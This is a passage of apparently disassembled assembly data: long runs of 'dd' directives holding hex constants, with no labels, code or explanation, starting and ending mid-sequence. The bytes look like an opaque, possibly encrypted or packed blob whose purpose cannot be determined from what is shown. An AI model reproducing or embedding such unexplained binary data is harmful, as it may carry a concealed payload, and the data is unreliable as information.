5896C6B6h, 0A0252AA8h dd 0A97BB38Bh, 19B1BAA0h, 0F406E942h, 0F432CF9Ah, 839C10Dh dd 49429364h, 4FDF4BF8h, 32470EE9h, 0EDF15238h, 0D04C424Bh dd 0D1473052h, 4E5B58C6h, 1A08256h, 7F2B3986h, 3BA0037Ah dd 8D81FCB1h, 8CE1B831h, 0E24F262Ch, 5B1094BFh, 0D3594809h dd 0B8EE3550h, 29BBB59Ah, 0E5FF4073h, 2E5C440Ch, 67B60568h dd 0EAF0218Ch, 94B11D05h, 0C3018237h, 0D8D048E9h, 2EE6EEB5h dd 0C29E49B9h, 0F4514482h, 0C902CF4Eh, 56714065h, 647D0468h dd 855E60BFh, 13BAACh, 0AAB7A7ACh, 6182ADF6h, 385DC141h dd 84BA5217h, 4E410158h, 4175DBA4h, 0EBD42B26h, 50688B43h dd 39184E6Ch, 12E09C3h, 5412A25h, 1606C404h, 9C01B7E4h dd 0D9B94A92h, 9C3C3F5Bh, 0BEB433E9h, 56DD30D2h, 534D49AEh dd 74EEACB0h, 7F583D79h, 0C651783Eh, 0D9A06208h, 0D8B022Eh dd 7C29BD68h, 50715CF4h, 0E2297F53h, 973C5E58h, 572E0F1h dd 9418AC01h, 2DD80173h, 0A2E90740h, 71E294CBh, 0D1903051h dd 0C4323251h, 45203572h, 675D6201h, 115AFE5Ch, 5681EA73h dd 64940F2Fh, 2816F9A5h, 0FA0F370h, 0EB30835Eh, 7FFD14FFh dd 59674C47h, 1888E91Bh, 0C0B5F2EEh, 116728Dh, 0D1F70AC6h dd 0E6684149h, 0BDDF1855h, 0F626136Dh, 2FBAD1Fh, 7B3DA3C5h dd 12BB782Eh, 0E4AE0CE9h, 75911552h, 2C11C601h, 847A63CDh dd 0A9C10064h, 0F7571C3Ch, 20E5D648h, 0E06810ECh, 514E7A5Dh dd 17C103C5h, 4E069F41h, 49ED8202h, 41F3011Fh, 0E6500CF5h dd 0B0AF4037h, 97574B0Fh, 0D2A5635Fh, 5EED3B03h, 0A12FDE0Eh dd 477CE821h, 0B8154084h, 29994A8h, 3690245Ch, 0A725F631h dd 992A6553h, 0F590527Fh, 6807F085h, 40F46222h, 4F9A0CEFh dd 8078F11Bh, 0DF06FD6Eh, 6DC57A52h, 72C931A1h, 0BD5A33FCh dd 17C88D30h, 70449896h, 997D9DECh, 477033DEh, 9B9C44C5h dd 3028FFDBh, 10EB2F68h, 0A14AE98h, 0C60B1891h, 69A00F85h dd 2036A654h, 5D9A2E0Eh, 786D41FBh, 0E3FC6018h, 0F743060Bh dd 0CB7F20D3h, 61153332h, 0FDA4C41h, 400329B2h, 0D98006F9h dd 71D41779h, 7794C7D1h, 807004F4h, 1C38EFB8h, 25E92D0Ah dd 4047C527h, 0CC9B6E82h dd 4561373Dh, 2FDFE293h, 2A54FDA2h, 60981AE6h, 7E0534Ch dd 4B6776EAh, 741504C9h, 0CB2BE1F1h, 394B7F93h, 12F753B4h dd 5FB468F9h, 1F584B2Ch, 0AA26F5C9h, 0DEA08A91h, 0BB7C7617h dd 398358h, 46054048h, 9056ADEBh, 0F62D404Fh, 0F380DB1Dh dd 9DB5510Fh, 2ABAC59Fh, 5F26CBDCh, 1842EA58h, 0C0FFC64Ch dd 857D8E64h, 0D0256862h, 0E07F9B07h, 90353E4Bh, 6B176AB8h dd 66010159h, 2AC5FE59h, 5120CE87h, 70B745B1h, 5ACF7E40h dd 2DB72352h, 23F214D8h, 0D31212B9h, 8D855C13h, 0D82A097h dd 0F1A548FDh, 3F2F16CEh, 0E5F8A5C7h, 0D0999241h, 0DBD3530Ah dd 0E4E6308Fh, 590B403Fh, 0E017B43Bh, 4601C6BFh, 0F49EE944h dd 9936062h, 75FAB38Ch, 71C7CB27h, 58540B1Dh, 0EA103F04h dd 3AC45229h, 2CF83A28h, 0B7B65201h, 6EC191E9h, 125A7188h dd 1B41ABCh, 0F32C4115h, 6F188755h, 0A1ABD5F4h, 0CB073FAh dd 0FC38132Eh, 18CC5F51h, 175E80C8h, 27AD23F1h, 0A8345B9Ah dd 5BD0891Dh, 1BBB406Ah, 89A5DAA1h, 0EE00C59Ch, 6DB57D63h dd 8AA0ED01h, 0B70B9008h, 0D11E5B8Bh, 4DBA60B7h, 578E5C58h dd 27D8E702h, 86DD7124h, 3FE2C708h, 1792599h, 6C172E82h dd 2AD090E9h, 0CBD03524h, 0E55A30B3h, 0E135EBFDh, 4677BC02h dd 421D25BCh, 554CFD6Eh, 86AC4C9Bh, 4BA2D589h, 0E98591C7h dd 75707862h, 0A998430h, 0E6C72966h, 0EE47EA58h, 1F209E4Fh dd 2815D02h, 6BE9FCACh, 0B507ED56h, 0D16780CBh, 5D5EEB07h dd 7B8B8965h, 0FB3A8BD0h, 5D51087Eh, 1B1073Ah, 0F6046FEBh dd 67941446h, 0D8049C4Eh, 0BF1CAC2h, 49D26E13h, 0D735E109h dd 1E7C3CC9h, 1F0FDB9Fh, 0BAEC74EFh, 0AA392720h, 0B0FC4BDAh dd 0FB1E31EEh, 5B56015Fh, 352FFF04h, 92070212h, 7E56CDFEh dd 80D5F609h, 8852740Eh, 0D970E5EAh, 0DE0ECF59h, 16F6F42Eh dd 0B1A5B9FAh, 9405EEABh, 0B988C1E8h, 8BBB78D9h, 176AE55Ch dd 89FEAD57h, 5996A46Ah, 635FDAA4h, 2FC6DD03h, 0E8DC82E3h dd 57FCA480h, 6E832D38h, 0D8290686h, 14445A02h, 0C1432B68h dd 3E2C07F7h, 5A310CDFh, 7E5DE79h, 0C66E88A2h, 0F744DC58h dd 0E9D99165h, 0B5F950AEh, 0E5328016h, 88FB0622h, 0A504A1A6h dd 4EC1E808h, 0BF0518F5h, 0FD87B705h, 5755D707h, 0FBD19E3h dd 0C885B70h, 258CF9D3h, 596309F0h, 5E9C30Eh, 98872150h dd 0E1A842D3h, 5C12BF1h, 9220C3CDh, 0D9025A05h, 3F880CA1h dd 0D8F36C4Ah, 0B857EC16h, 0E2568E8Ch, 416D1768h, 79D85FD9h dd 5BDB25C1h, 16C01879h, 2E2C0A15h, 17ACFE01h, 7C258A17h dd 450D5364h, 77C74F82h, 0F557A514h, 18B55E30h, 98FF2BCCh dd 9F40B718h, 72B4EF07h, 586B544Bh, 905BD55h, 45585766h dd 0E01C52BFh, 1D06C9DEh, 0EDD1041Fh, 3D340110h, 85E9AE9Fh dd 0E15992B7h, 0A60F5971h, 5EF23100h, 344EC3F0h, 0D83F04CDh dd 4444511Fh, 1600B0E5h, 0F10B40D8h, 28806B41h, 97398D37h dd 591B5B80h, 0CE5C09DEh, 3C9545C7h, 0F5CA143h, 4AA768FCh dd 10BBA328h, 815B970Ch, 24A36C61h, 735B6471h, 8FE89899h dd 5AE6B519h, 460C9A4Fh, 9A77B987h, 0CF799E47h, 0D296DA85h dd 7F7BC1FBh, 0E98FE942h, 0AC4445B0h, 0BDF3D7B5h, 4904A7F0h dd 0B25E8289h, 1FE98432h, 8A4A99ECh, 3B277E81h, 5BC090A7h dd 14192A68h, 752F9A70h, 51802C6Fh, 7EB1478h, 79E95F0Ch dd 0F70140C3h, 336E0DD0h, 14204F0Bh, 7E780B16h, 0B5D6050Eh dd 33042992h, 5809C93Fh, 0EE64C0D1h, 5BC58225h, 0F2D4BCACh dd 80739809h, 3D90F1Fh, 88316CD9h, 0BA015AD1h, 0DB785569h dd 68854F2Dh, 0D373BC9Eh, 2DD77B73h, 11EAFB40h, 0F5748609h dd 76B8DF5Ah, 0C18222AAh, 0B14BDAE3h, 8B74A24Bh, 0A4C07B2Dh dd 0CD33A416h, 8B2328CEh, 0C4BAC43h, 7C9541C3h, 0FE304EA6h dd 0B8E971B6h, 0ACA9B123h, 4E0B097Ch, 86C2E2DCh, 0EA2E5C3Bh dd 0C88DA93Fh, 9E880BC1h, 0EC10FE59h, 0FCF477C5h, 9E0CE6F0h dd 0B226A0F2h, 313C0B77h, 0A70F1036h, 1E495037h, 0E8C385E4h dd 7BF65A1Ch, 0E958E161h, 5ECA7859h, 780CEB1h, 75FDE681h dd 83255A67h, 37AEE0C6h, 0B4D80673h, 0D85DEE31h, 0CCC2304Eh dd 4B067158h, 0F727EB46h, 107046F1h, 40CCCE9h, 29B6866h dd 5CB1E888h, 262E4A15h, 0E99A0679h, 68165167h, 4D344407h dd 73308280h, 6965B0E2h, 0D1D60B34h, 92ACEF96h, 420CB1A4h dd 0FE09F0D8h, 47894E06h, 524110F6h, 0B96892E9h, 0B3875F19h dd 11007ACBh, 955185BBh, 43BF0565h, 82EF6FE2h, 6E68D7CAh dd 0F58A6A46h, 2CDAEEA2h, 78C9A909h, 24E99F78h, 0B7736A9Ah dd 7CD8C479h, 3F1641B9h, 4C0675C6h, 4527E303h, 94576A18h dd 181C37C9h, 36FB68Ah, 5366CEFEh, 828513B7h, 1E693484h dd 41E6D8ACh, 0F22B13B7h, 86E9A16Fh, 0DDCB80F1h, 171CD107h dd 0D13710E2h, 21E9706Bh, 295DE89Fh, 285B9542h, 0F2016662h dd 93F420C9h, 0A7048176h, 89414208h, 0B846AACh, 947144Ah dd 879A77A2h, 0EBD2E55Dh, 577269DEh, 49EF3C98h, 360F3FC9h dd 9E833073h, 5ED9F78Ch, 0EB041851h, 5CAB0C0Eh, 1333F0Ah dd 2812D2CDh, 0E52C0C47h, 315D050Bh, 0BD08A0h, 1F7739C6h dd 8474B7BEh, 9CE1D25Ah, 144BD078h, 4E01D20Ah, 68776251h dd 3854F255h, 0F7B27267h, 6078FE31h, 0DD42DF05h, 58C22D4Ch dd 38A54AB2h, 0B4134170h, 0C9E19FD6h, 0BD4A0946h, 0D484A477h dd 0CB97EF0h, 347C0F71h, 5024AFCh, 65E94C84h, 69E2D62Fh dd 0E9468505h, 4CDC1020h, 2F805E28h, 0E949FBD8h, 1C4B6F58h dd 15285966h, 572DD420h, 0A95ECA0Bh, 0CE1AB6A4h, 988033Dh dd 0DCAAD2CBh, 56E6927Eh, 0F7B24188h, 0E4DF87D3h, 81D33D91h dd 0D0980591h, 3A14DD6Fh, 4EA6B1D8h, 500C6013h, 177827B8h dd 3A05571Ch, 5C044DD2h, 0C5BCAEB9h, 779868C2h, 137BC068h dd 7CC49AB5h, 0CAD042EBh, 0B9F0DCh, 4A618C50h, 32C1D2F7h dd 60604E2h, 0B56AA3C0h, 29653F10h, 7B12950h, 21E77C97h dd 1AE272CDh, 0AC82AB54h, 60514003h, 58105B4h, 0F970B4CEh dd 0C618A40Dh, 0C5AE0901h, 0E9F529B2h, 346F10FDh, 68EE800Dh dd 0C3C66ADCh, 250B03E4h, 62C89255h, 0E18E5BEh, 86523273h dd 1A6C2E6Fh, 210D8413h, 8DF2C34Ch, 823984E1h, 0CE112A18h dd 1780F54Eh, 0B951FA01h, 801C373Dh, 0DAEA8167h, 9F50A574h dd 4C23685h, 90EDE908h, 2CF028BFh, 0C2D88C52h, 5F95B252h dd 0C8E98281h, 2E47272Ah, 0B983CAB4h, 0E4E823A0h, 7EFC6080h dd 0C1472498h, 0FF43C8Ah, 496137B4h, 32AAF1E0h, 0CC11EBBh dd 58D48759h, 16FE225h, 0C46DD63Dh, 1DB5EB16h, 760FC389h dd 0FEEEF736h, 4E2E510Fh, 9D84172Dh, 60CC880Bh, 4EE95EAFh dd 0A3711284h, 0C946487Bh, 5E502434h, 0BD1F01BBh, 215A3C3Bh dd 0B9D1200Ch, 0C5FB276Eh, 0C2E9CB3Dh, 0AF546089h, 1F622550h dd 0AE13F55Fh, 7B2A8079h, 1F812D58h, 161D4A2Dh, 2E871722h dd 0F80A0979h, 0FAF7571h, 0BB30F75Ah, 25E9F9F7h, 5090DE08h dd 8D07B652h, 0F328C5B3h, 0CE90F8F4h, 2570992Dh, 99F21DD2h dd 0B4304120h, 0DD1D3963h, 521B1F74h, 517046BEh, 5951E0F7h dd 0E240D4C9h, 4F8A4B4Ch, 58505063h, 7FC64229h, 0E34C5D45h dd 0C4352756h, 4C70B8E7h, 0C800AB52h, 5563C75Ah, 7516BE68h dd 6AC0659Eh, 1328E50Eh, 1EA89FEh, 15FFAC7h, 113720D6h dd 6BB900E3h, 72E2623Eh dd 0BB01287Dh, 94E31062h, 18FC1180h, 5B7E7864h, 0EFDCD1B7h dd 6351FC74h, 1003098h, 2D7E2744h, 2C1A7933h, 247400Ah dd 0B87568Ch, 83092F58h, 40549913h, 9C41A5D6h, 0B12D646Ah dd 0C68A6F6Dh, 6BCD094Bh, 5DD6C7A9h, 173CD627h, 0B18FA83Bh dd 84055102h, 84E1BC86h, 0C240EE09h, 5A36C7C4h, 0AEEF86AAh dd 3733E984h, 5DDE5C0Bh, 6E2DDC7h, 0E8794A9Dh, 8240E82Eh dd 343DD680h, 0C2DD6795h, 339731AEh, 31845A7h, 5EC59D90h dd 6930361Eh, 592D73DFh, 8896BC8Bh, 327DD1E1h, 0C15602DBh dd 0BB00FC1Eh, 861E708Fh, 0CDC9430Eh, 88D6A9ACh, 65A6AFE7h dd 78FDF616h, 838EBB5Dh, 174D3BF0h, 0E8EC3226h, 0EB43D1A4h dd 860104A0h, 82C2122h, 2CD94420h, 70C44Dh, 0F3815FFBh dd 0BC3B349Fh, 7C3001Bh, 4321600Bh, 0C2EB77C1h, 329F3C14h dd 20D98CC1h, 0ECB70478h, 8A42F447h, 4554AF75h, 0D5360381h dd 2EF51778h, 0EF5B00E8h, 0EC8CBB20h, 257CE919h, 9D60F129h dd 3A5C81D7h, 30FC173Dh, 0CB3E7AE9h, 4CF45D28h, 314E0269h dd 0FE1B7DDFh, 0B5E7185Ah, 0A8C3274Bh, 564F171Ah, 41AB080Ah dd 67F05B13h, 427614E5h, 2A12AA90h, 820FB3E2h, 0C259EE28h dd 0D6FB0222h, 0AC120EC0h, 9818A36Ah, 78D0DDC9h, 77C107E1h dd 0E1E6B753h, 0C2682AEFh, 88052989h, 89CBBD8Ah, 60127AE1h dd 40589C06h, 0E4ED52B7h, 822F35C4h, 569E41EBh, 4E015870h dd 0B01B7FBh, 0FC02EA83h, 0AFC84921h, 0C4949ED3h, 0DDB00169h dd 90D7F680h, 78B551DEh, 2AED1B69h, 1C62F020h, 66D62B66h dd 5B2C81CCh, 0BE83B13Ch, 30D268C8h, 859699DDh, 592DA52Ch dd 0E8DCDCA3h, 8CC1B103h, 0B03C5A28h, 3D1BB7E1h, 60F62A4Dh dd 668B1205h, 95690Ch, 17104C1Ah, 5CBB057Bh, 96DC0A36h dd 0AA0F4885h, 324A775Fh, 80CA084h, 17DC1E5Bh, 17A7DEB4h dd 51B0820Dh, 0EE454655h, 7AD81D68h, 8B0F2C2Dh, 830F5F50h dd 0FAC1CCBCh, 8B9558B0h, 125CD6C1h, 0B45FB17Ch, 0B9C30414h dd 0C7D902E0h, 65F26412h, 398D241h, 0C288AB80h, 558A6AC3h dd 18A1C944h, 178C7BDFh, 84E26380h, 0AE845DB0h, 0C06B5C2Dh dd 68526670h, 0D958AB2Fh, 1A3888CAh, 0C014B161h, 24806D30h dd 314874F1h, 20F8E162h, 18C3C353h, 9F8853CBh, 66E9D821h dd 0C10CE668h, 80607E3h, 0FC0959B8h, 0BCEF47Fh, 7A8A09C9h dd 0ADED4AC7h, 0F15B258Ch, 0A829927Dh, 588C04AAh, 0BFBC1B80h dd 2727684h, 0DC438DE9h, 5D928264h, 0DAF06C73h, 8C84685Eh dd 597B97F3h, 0F6197DE5h, 709FC6D1h, 3ABB4A1Ah, 0FB320B3Ah dd 0BB5E000Bh, 0B010A00Eh, 67341783h, 4461363h, 0E8D8E9C3h dd 735757Fh, 28FE0A8Dh, 51955CBAh, 0DC74722Eh, 18CE142h dd 200BEE80h, 3CF69AA0h, 1B2DEFB6h, 0F21BD901h, 39792CA5h dd 0F1240EACh, 8E75942h, 1A843BA0h, 82DC8850h, 3855B4FEh dd 9D595A86h, 2597D64h, 0C78EC42Ah, 68C2FBECh, 0FCCC719Dh dd 180CBEEh, 64EAA2F5h, 0EEDCE980h, 232C12E0h, 481A534h dd 3B95AE08h, 0EB1C61FEh, 27540C14h, 1DDA12E9h, 4E5DEE17h dd 6BA6D200h, 1750222Ch, 20961EE9h, 5A1F3D69h, 9570727h dd 9DF05EDDh, 0A5DED7E9h, 0A1DC6FBDh, 513C4ED2h, 0C15AC100h dd 0D0310B98h, 52EB2D68h, 91D03986h, 36B0585Eh, 0DECE0581h dd 804B6F44h, 3C16CDA6h, 0E0092027h, 13FBF698h, 566F7F57h dd 0E52E8D39h, 0ABCB7ED3h, 2894872Dh, 75F286B4h, 4255DC92h dd 0D968DCC5h, 0A4136E5Ch, 4D8992B2h, 34B8EC40h, 26E4653Fh dd 95157940h, 5B5F12EFh, 0ECF80709h, 2466B7C8h, 866A3891h dd 0C9675CDAh, 0C69FBD50h, 0A5E92F7Ah, 0D2009751h, 153D441h dd 80CD98F9h, 24685F08h, 0C44830BEh, 0E116BFBBh, 996D3B3h dd 81CA8C93h, 2D808DF6h, 586F1AAAh, 5D02829h, 0E4A5A107h dd 0D6692Dh, 0FEB85007h, 4B5DA548h, 6522510Fh, 799B68CBh dd 29F6704Dh, 0C13EF55Eh, 818AEF20h, 0D880EB66h, 0DAF6B32Ch dd 0C16DD560h, 2DAD0D14h, 0C6B5B31h, 0C4A430D1h, 0C84C21FFh dd 3BCD4502h, 0B9367B69h, 8E0AE90Bh, 0D5825359h, 7C796Eh dd 66D34DD6h, 55B95100h, 0E9643702h, 453E4F84h, 0FAAAC7A6h dd 0A9BE5A38h, 0EB85F208h, 644893E9h, 1F8CC1C3h, 0EF4592F3h dd 618683A8h, 0B50016BFh, 5BFD3017h, 0FA2FC580h, 0A3255B43h dd 0E30D1622h, 0ABF2088h, 385B1C7Ah, 0C5BBE07Bh, 0D1EAE04Ah dd 0E94BE305h, 0A7F9A82Ch, 0E828E443h, 47A22058h, 0A5EB083Bh dd 5D51E228h, 48B457BCh, 0EA059BA0h, 41453977h, 74E904C3h dd 3253250Fh, 5AFA3C56h, 77FF27A0h, 9BDE2029h, 0C5074A53h dd 0C0955013h, 0BEC184A4h, 74284407h, 0E7810EF0h, 764573D7h dd 4F71E4Bh, 0B10A9744h, 82D23E32h, 0BC04D8D9h, 0C559671Ch dd 6038B1E8h, 80037CF7h, 0F328AEC6h, 3573F15Ah, 939CCC3Ah dd 502904B5h, 191BE2BCh, 8E0410B0h, 23514087h, 467F00C1h dd 22069C1h, 8CF1FB02h, 0EC97C52Fh, 5AE9C35Eh, 53401D89h dd 80B9D25Eh, 7EAC023h, 0F52C8073h, 8C09F730h, 3C5351D3h dd 0A709292Fh, 35CC8155h, 0E031020Ah, 0CBBEC46Eh, 0D3235A3Ah dd 0B6735F21h, 0DF163D2Eh, 0D33AFCB7h, 1FD707C4h, 41E083A1h dd 923392BCh, 0D3F73491h, 6100FA0Bh, 0E52DC65Ch, 55D5A229h dd 0D5FB2F22h, 9013265h, 0F2840FC9h, 680C9B38h, 770B394Dh dd 9A3344Fh, 4A37FA4Dh, 0A8F62F7Dh, 9121B4F1h, 0EB54B670h dd 5C7A2DE9h, 0E7913313h, 24E8DE10h, 0C3C685Bh, 0E278AB6Fh dd 3199404Ah, 5E6BF566h, 0C78B955Bh, 0F9EE0100h, 1271857h dd 0B1B4A5EAh, 881742FCh, 123914D7h, 89CC9716h, 0FEC81120h dd 0FDCAC9C2h, 7A9F3510h, 2C68973Ch, 895F78CBh, 19D94D8Ch dd 13BCF9AFh, 585F0455h, 0CFFA1ECBh, 9C7C0C31h, 37F16580h dd 572F1D08h, 0E6090DB0h, 586A0238h, 2D5DA002h, 0A0124866h dd 0E64F703h, 0CFE07F5Eh, 782D1E97h, 2DEEF21Ch, 8E64DBE0h dd 154B5C79h, 985A6AF4h, 7CC90F40h, 38AB693Fh, 0DEF72F23h dd 3BBA0451h, 0B5C94E17h, 0E2BD9544h, 21AC0C60h, 0A780743Bh dd 6C23307Fh, 0A87142A0h, 5187260h, 0B8071634h, 504B61FEh dd 0FCFED5BAh, 0EB0681B8h, 0C212623h, 0F050B0Ch, 4989448Eh dd 34080688h, 0F414160Ch, 0C84137B0h, 608FEB40h, 0F3127B89h dd 3114A13Ch, 0C684F8EBh, 0EBEC16E2h, 381421Eh, 5D3E52F1h dd 5079F2B0h, 0C0D2696Eh, 32C34B9Ah, 0E9D30A29h, 82CAE588h dd 0A445FACDh, 0D399A284h, 0BBFCD146h, 38857290h, 0C1575F7Dh dd 69288996h, 40AF051Bh, 0E5004EB8h, 6E75699Fh, 0E4B325E9h dd 66566619h, 2714501Dh, 12358D4Fh, 0E9D671AAh, 55D62466h dd 0D4478F26h, 0B78E2C64h, 0E1D3F51h, 5F14CF6Ah, 0E3973DF2h dd 17F45255h, 0B4B288F3h, 4BC540h, 567DE6Dh, 7BDB3C5Eh dd 56F80118h, 26A21Ch, 0AFBE2349h, 8154B775h, 9A7F605h dd 5BB168Bh, 1D6F7F6h, 947CCE95h, 0ABD0EE04h, 0E7AC606h dd 94A71E5h, 9028ABB7h, 8C8C6856h, 1EB1B61Eh, 4CCE30F9h dd 0BD123C6Bh, 6856C50Fh, 0E039495Bh, 3C645CF7h, 6D990288h dd 2B58C086h, 0C23A4E91h, 6043392Fh, 1A1D72B3h, 0E0AD78BEh dd 0FC1D172Ah, 2D089721h, 0A4581607h, 1E12B05Eh, 6E03719Ch dd 0D58792EDh, 89B213EBh, 0D4B80A1h, 0E949BC38h, 0E8EBA96h dd 65B05066h, 0C00BBB12h, 3B58728h, 0C4BF0128h, 0E84AF527h dd 0A2B5A7CFh, 0FCC9C58Dh dd 0FBCE40D1h, 0F5907C71h, 4494009h, 9E66003Dh, 586B1732h dd 1125974Dh, 18EBC6D4h, 954156D5h, 6EA88D51h, 29051B9Eh dd 0D9A85DEBh, 14C0CA41h, 1B9104Eh, 0B9E27FBh, 3C845273h dd 8A79D057h, 79AD3DD9h, 63BB61EFh, 49842041h, 0C25FFE40h dd 4668EA66h, 1A3F00FFh, 0B7B8B997h, 96DD6AE2h, 96EB7686h dd 0B3E54910h, 0B0312CBEh, 1C06B345h, 0A20601EEh, 21658F2h dd 28CC1579h, 0A5FDF131h, 0B9976A2Ch, 1872F0A7h, 0A1A452A5h dd 223F9524h, 22C2527Fh, 0DB2533D6h, 2CC83E71h, 7B056601h dd 30D0F702h, 3013CB1Ah, 0F7E90DF0h, 0D601B2Dh, 100A54BDh dd 0BF89231Fh, 4F09402Fh, 2094EE9h, 2C6E682Bh, 0B5885FD1h dd 81782F37h, 642F4700h, 61E0B951h, 81490053h, 0C33D7C9h dd 0D933F704h, 0A0C11441h, 0C02FB14Eh, 0F437520Ch, 0CD3F3163h dd 0A3E58359h, 7301755Dh, 29CDCC4Ah, 0A41CF51Fh, 0A63E6154h dd 0CF1013E9h, 0B3325072h, 5A0CDF84h, 0E02B0BAEh, 0EA028805h dd 3CFEC674h, 78BCD222h, 0DC4769BCh, 1E93BC5Fh, 0E7F845A3h dd 79B70102h, 8254F849h, 0D373390Ch, 309EC005h, 75252871h dd 0D05855A1h, 0B8645F2Dh, 803513D1h, 2C487882h, 0C5F2526Ch dd 764A5EF2h, 350C98Ah, 87718290h, 14BFD308h, 4B05C853h dd 5D39016Ch, 344EEEE7h, 7984BFBDh, 1B098580h, 8114018Ch dd 5B4F4CCAh, 43803B39h, 99499F68h, 598EB051h, 0A33627Ch dd 3B08245Ah, 0AC01812Bh, 52D1C714h, 7F09FD5Bh, 58875E98h dd 977F66EAh, 5A4C5CC6h, 8A06172Ah, 5B2DB1B3h, 8B8B0885h dd 0AC14104Ah, 185B9A50h, 0C210972h, 0CE056F8Eh, 202DE943h dd 878E5CAAh, 0B23CF1B8h, 0CC5FEA24h, 74AF2196h, 575E5480h dd 9129C4E9h, 2BEC8EEh, 3EE9E8B2h, 35003EDEh, 9B5DAE74h dd 0D4389529h, 8360BAE9h, 444EBE6Eh, 12B2DFDh, 0A808DBD1h dd 71532DA6h, 2DC9103Eh, 58CCB05Fh, 0EDF76964h, 0B90121E8h dd 1D607F9Eh, 0F5E2EFD1h, 0CDDDC85Fh, 0C10A2E1Eh, 425012CBh dd 31C5BEC9h, 20E6F169h, 9216F655h, 0D9B1B533h, 1BD0A1D7h dd 0AC7D132Fh, 0DA893C64h, 1516E5A3h, 0CD3CF4A3h, 40FAD1E7h dd 275F5F8h, 2E708524h, 28E9508Fh, 0E80E38C7h, 0C8025966h dd 3440A72Ch, 5662E289h, 0D5CCC426h, 585EC59Eh, 0D69C87A7h dd 524AC8E7h, 0C3BC7B95h, 0E88C5568h, 0F1DCC4B2h, 0C62B0412h dd 29AC8308h, 5AD5F909h, 5D93C921h, 683AF835h, 0E800C1E9h dd 95C8310Eh, 950B53E9h, 462F0559h, 5A20FCBEh, 3559202h dd 4902444Ah, 9FBD3h, 886C4CCBh, 3F7AB012h, 0E91D8702h dd 0CB912FF4h, 4E57C62Dh, 0A168186Ch, 0DCA56B41h, 5F937391h dd 2C5044F8h, 2E5D810Eh, 0F54C99F3h, 0AD449A24h, 38A7BF41h dd 7658258Fh, 0C1BEE541h, 2FB1290Fh, 307BE1A7h, 5E3605F7h dd 1394EA01h, 58825E6Bh, 0C2A88236h, 0CCF070B5h, 0C93F146Fh dd 0E74F9144h, 1DC76030h, 0A867D90Dh, 3EDC2A9Eh, 0B9444EB2h dd 3AFC1320h, 0F50622AAh, 0F6F10CC0h, 0F49508B7h, 3AF09619h dd 14D83460h, 89616410h, 0BA81794Ch, 0E9371A73h, 0E675F24Ah dd 0D6AD278Bh, 1E8C0C79h, 27806C21h, 0CAF0DCF1h, 0E7884F93h dd 0A94EBBFFh, 7F78695Ah, 1A5F66A6h, 6AD1A309h, 817578FDh dd 882802BEh, 907D66F2h, 808146AEh, 58128968h, 4FA64ABh dd 0AB822268h, 29BE3135h, 0C40CA728h, 92012FA7h, 0DD208E46h dd 2D3EBCF3h, 802749CCh, 0B74C0EBh, 0A83B27E9h, 598083EAh dd 27D21ADAh, 0E3814B0Eh, 0E1618BE8h, 0F5200687h, 0F43181DFh dd 0C72E895Dh, 42A5DF58h, 405D8458h, 0BF37B344h, 9982C727h dd 0CA20D7CEh, 1101C92Dh, 3F050C02h, 5D79495Bh, 0D81629C7h dd 7885DD84h, 0C06C01EEh, 20742805h, 8A964920h, 0F38B9327h dd 387A90ACh, 2DE82829h, 0B35D4E07h, 97A4D200h, 104E380h dd 743DEAE9h, 0FD6721C6h, 5A5B7908h, 0E25F5ED3h, 97A2505Eh dd 6C7AC379h, 82FAE826h, 0C1B4635Dh, 58721186h, 0AFD36684h dd 80320891h, 120A8B7Ah, 3570ED83h, 0B53930E9h, 0AFC1C513h dd 0D36D89CAh, 0B971455Ah, 7A5AD6A5h, 0CF2D5209h, 6DC8805h dd 0BE5A5E00h, 0B001A840h, 0C4C60915h, 0AF02F60Bh, 3A739CCCh dd 40478F85h, 435BCC8Ch, 70E90B25h, 780AFADCh, 0EBB42E02h dd 7FBE88F0h, 0B8DA5B1Eh, 69B1570Dh, 6369D568h, 785801h dd 157F7E58h, 0BA8FC3E9h, 1E280EDh, 17AB78FDh, 9C1C5721h dd 61C48863h, 0D2AE0D68h, 37D3D49Fh, 5C36A209h, 0F181806Dh dd 6BD14D86h, 0C5BF5705h, 881F5F2Dh, 431275C4h, 9DCF49C0h dd 0B86CE43Bh, 0CEE400Ah, 0FD349A07h, 7267CB04h, 0C128B540h dd 8700BF58h, 39E944B0h, 0E688905Fh, 3E2D2568h, 92BC1EF9h dd 38AB1BC4h, 0BB5EB9F5h, 4E542E23h, 6106F5EDh, 14D82B85h dd 0AC5956CEh, 1A79E909h, 0D2E25E20h, 1D018941h, 4816BE56h dd 0FB404764h, 12591A7Fh, 8D6F71Bh, 0D7269DBEh, 1360DA27h dd 13D3215Bh, 8D5ED13Ah, 0FAB800E3h, 172C0F1Dh, 6084D0F7h dd 7704129Bh, 49AB2A74h, 20D7F3BDh, 5F0958A4h, 49499F1Ch dd 60352589h, 0CF4D9AEAh, 7EA286E4h, 4BB9B510h, 0FB501202h dd 9DE905F3h, 0A2EEF87Eh, 0CBCC80Ah, 323414BFh, 8039D330h dd 0C5967FBFh, 2A7D9BCh, 0E76411E1h, 66555F6Bh, 0F187047Ch dd 8D6F6668h, 0B5D46E81h, 0ABA3BD44h, 113862D0h, 0E8324AEFh dd 545F7D35h, 37BB79D5h, 31D3F6F4h, 0CE006F82h, 132C5875h dd 0DE0C5398h, 0C69111Ch, 0D52B26B5h, 17340964h, 7EC287D4h dd 31BE05CDh, 4884FE81h, 621A3D8Ch, 7203F4h, 29AE7CCDh dd 0DA89139Eh, 1C30BA5Bh, 95DD1A85h, 3D89CE9Ah, 5F08F880h dd 2BF290Dh, 5718683Ch, 0AEB97118h, 9CA3512h, 61EC27F0h dd 3C681E31h, 2DF4763Ah, 0ECFCFA90h, 1F25B2C0h, 525318BAh dd 35E70A2Ch, 0B7E18F86h, 0FCD7808Fh, 0A5661B24h, 7B76B018h dd 0C14C4B98h, 38E2E066h, 801093B8h, 6FBA20E1h, 0A109AE29h dd 0CE833EDCh, 0EDDC6FE2h, 901AB701h, 0F3DDD603h, 26A28D3Fh dd 545D40F3h, 928D7D52h, 254E16A3h, 0A136EFECh, 0D33F608Ch dd 2A1F83C9h, 7DDE2260h, 9F64CF0Bh, 62FEB880h, 43B840A4h dd 1736701Fh, 1800225h, 1ECE40DAh, 1B970133h, 0F0E9525Bh dd 0CFE396BBh, 6BC7B60Bh, 0EA55F2C3h, 0C9A05E06h, 0A56BAADEh dd 0C752163Fh, 709B1101h, 5C6A2ADEh, 24FCE852h, 4EC073Dh dd 0E9E60EE9h, 2D640E11h, 25115769h, 0D10118ADh, 262311BCh dd 0BAD47E7h, 0DD582124h, 0A444E0B5h, 169BB595h, 31F4CC9h dd 0D41CFD21h, 0DEB63113h, 